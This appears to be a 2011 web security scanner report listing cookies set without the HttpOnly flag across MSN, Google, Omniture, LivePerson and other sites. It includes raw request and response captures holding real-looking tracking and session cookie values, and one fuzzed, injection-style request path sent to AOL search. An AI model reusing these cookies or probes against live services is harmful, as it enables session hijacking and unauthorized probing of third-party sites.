HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:18 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: LivePersonID=-16101423669632-1296573858:0; expires=Wed, 01-Feb-2012 15:24:18 GMT; path=/hc/15744040; domain=.liveperson.net Set-Cookie: HumanClickKEY=699244399384198284; path=/hc/15744040 Set-Cookie: HumanClickSiteContainerID_15744040=STANDALONE; path=/hc/15744040 Set-Cookie: LivePersonID=-16101423669632-1296573858:-1:-1:-1:-1; expires=Wed, 01-Feb-2012 15:24:18 GMT; path=/hc/15744040; domain=.liveperson.net Content-Type: application/x-javascript Accept-Ranges: bytes Last-Modified: Tue, 01 Feb 2011 15:24:18 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1998
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hc/15744040/?&site=15744040&cmd=mTagKnockPage&lpCallId=903212915639-545244525652&protV=20&lpjson=1&id=2998336854&javaSupport=true&visitorStatus=INSITE_STATUS HTTP/1.1 Host: sales.liveperson.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LivePersonID=LP i=16101423669632,d=1294435351
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:16 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: HumanClickKEY=699244399384198284; path=/hc/15744040 Set-Cookie: HumanClickACTIVE=1296573857200; expires=Wed, 02-Feb-2011 15:24:17 GMT; path=/ Content-Type: application/x-javascript Accept-Ranges: bytes Last-Modified: Tue, 01 Feb 2011 15:24:17 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1400
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /scholar?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html;charset=UTF-8"><meta http-equiv="imagetoolbar" content="no"><title>millenium boston - Google Scholar</title><style>#gbar,#guser{font-size ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /global/scripts/targeting/dyn_prop.php HTTP/1.1 Host: scripts.omniture.com Proxy-Connection: keep-alive Referer: http://www.omniture.com/en/privacy/2o7?f=2o7 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: omniture_unique=c4b47f0affb47cea2cd263f6285f016c; cms_site_lang=1; use207=7; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Wed, 02 Feb 2011 19:39:25 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Mon, 04 Oct 2010 17:31:59 GMT xserver: www5.dmz Content-Length: 484 Content-Type: application/javascript Date: Wed, 02 Feb 2011 15:39:25 GMT Connection: close Set-Cookie: BIGipServerhttp_omniture=84542986.5892.0000; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%20%20%20%20%20%20%20%20%20%20%20%20%201','','0C HTTP/1.1 Host: search.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Wed, 02 Feb 2011 15:31:41 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Wed, 02-Feb-2011 15:31:21 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: partnerUID="eyI4NCI6IFsiRFRRa2U3VDk5OVk0cVlKQiIsIHRydWVdfQ=="; Domain=invitemedia.com; expires=Thu, 02-Feb-2012 15:31:41 GMT; Path=/ Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Wed, 02 Feb 2011 15:17:19 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Wed, 02-Feb-2011 15:16:59 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: exchange_uid=eyIyIjogWyI0NzYwNDkyOTk5MjEzODAxNzMzIiwgNzM0MTcwXSwgIjQiOiBbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsIDczNDE1MV19; Domain=invitemedia.com; expires=Thu, 02-Feb-2012 15:17:19 GMT; Path=/ Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ver1.0/Direct/Process HTTP/1.1 Host: sitelife.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:00:29 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com Content-Type: text/html Via: 1.1 sitesearch.omniture.com:86 X-Cache: MISS from sitesearch.omniture.com Keep-Alive: timeout=1, max=100 Connection: Keep-Alive Content-Length: 10248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright (c) 2011 Adobe Systems Incorporated. All rights ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bloglist.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:41:24 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=753ef5beea254d60bfd0840e3985ef58; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DA434B0612654AEBB69FFCCC55E457D5; domain=.entertainment.msn.com; expires=Sun, 21-Aug-2011 15:41:24 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /movies/blogs/the-hitlist-blog.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:41 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=97142110ead246b4af23d3e80090af68; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=F3F4A38801974D0F91EB4A0695CB7A94; domain=.entertainment.msn.com; expires=Sat, 20-Aug-2011 15:37:41 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 51447
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tv/blogs/reality-tv-blog.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:40 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f8adf43341b7471fa5e7914cf1d7dc0a; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6AEC06D8BAB44686824F2C0182468746; domain=.entertainment.msn.com; expires=Sat, 20-Aug-2011 15:37:40 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 73217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/?continue=http://www.google.com/search%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor HTTP/1.1 Host: sorry.google.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/search?q=static+2mdn+net&am ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/Captcha HTTP/1.1 Host: sorry.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: S=sorry=6N0zPerLQtaqcOPwyzNvWg; TZ=360; SSDATA-DOMAIN=ikjREw(0:; GDSESS=ID=3835842a4a693afb:EX=1296674886:S=ADSvE-emQw1lIo2YoqCOpGtBmC8AL8VPeQ; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 503 Service Unavailable Set-Cookie: S=sorry=6N0zPerLQtaqcOPwyzNvWg; path=/; domain=google.com Date: Wed, 02 Feb 2011 19:21:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: GCS/1.0 Content-Length: 2513 X-XSS-Protection: 1; mode=block Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/</title></head> <body style ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Ali-Larters-baby-story.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:49 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ae4dd02d216846f9a2770a414b91bc69; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DE7AAEEE18C34AB2A9596B0681A0D117; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:49 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Britney-Spears-as-maid-of-honor.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=8b293f84a2aa4ea6b368d4335862dd47; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=30E3AF4F0D0A410F9D092D52AAF41C17; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:52 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Famous-young-fashionistas.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:53 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c82f5ab0cb294224bb000a6974f275a5; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=C19310F2005D4F1DB8577CF5E86AD485; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:53 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Hip-hop-pioneer-hospitalized.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:48 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=e66a810a6966499c848c1ba70218dee0; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=137AAB2FF8D24D51B3798865AA50C5C3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:47 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17226
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Javier-Bardem-as-Bond.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=39e0fcaec54545abb6a3f76e640dd1ae; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=F24423E8BD6D449F886E536E46A7F8AB; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:49 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Most-wanted-celebrity-body-parts.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c077bfedac3744318947cf51dc4f2074; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BD3B28EF1C6441A1BC4270EEDDF93318; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:52 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17186
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/New-Superman-chosen.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:48 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=0837e2bff64e482a8ade273aa6bc5059; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=4B7DFBB6BC2C4FD9B3731FD23B5B7AC3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:48 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Ozzy-cancels-Reno-show.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:49 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=dc5ede9cf01f4a1d8f38f66ec7f0ee46; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=366EF7F6FBC54B3EAB190688EB1E8AD7; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:47 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 16343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/African-American-History.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:42 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=e1af1217f0b44161824e573249566413; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D1B618A0FF6A47629CB585CEFDE91753; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:42 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17190
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/Best-home-remedies.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ffb0ad538e584c5ba09fbbb9e9181fc9; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=C82C0F468D0147E1BC70C15DCFD78642; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17154
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Lifestyle/January-2011-quotes-of-the-month.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=68f08c2708d64e29be8348cbb961e750; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=9F16C447874D438CB21CE2DD3C818D30; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17238
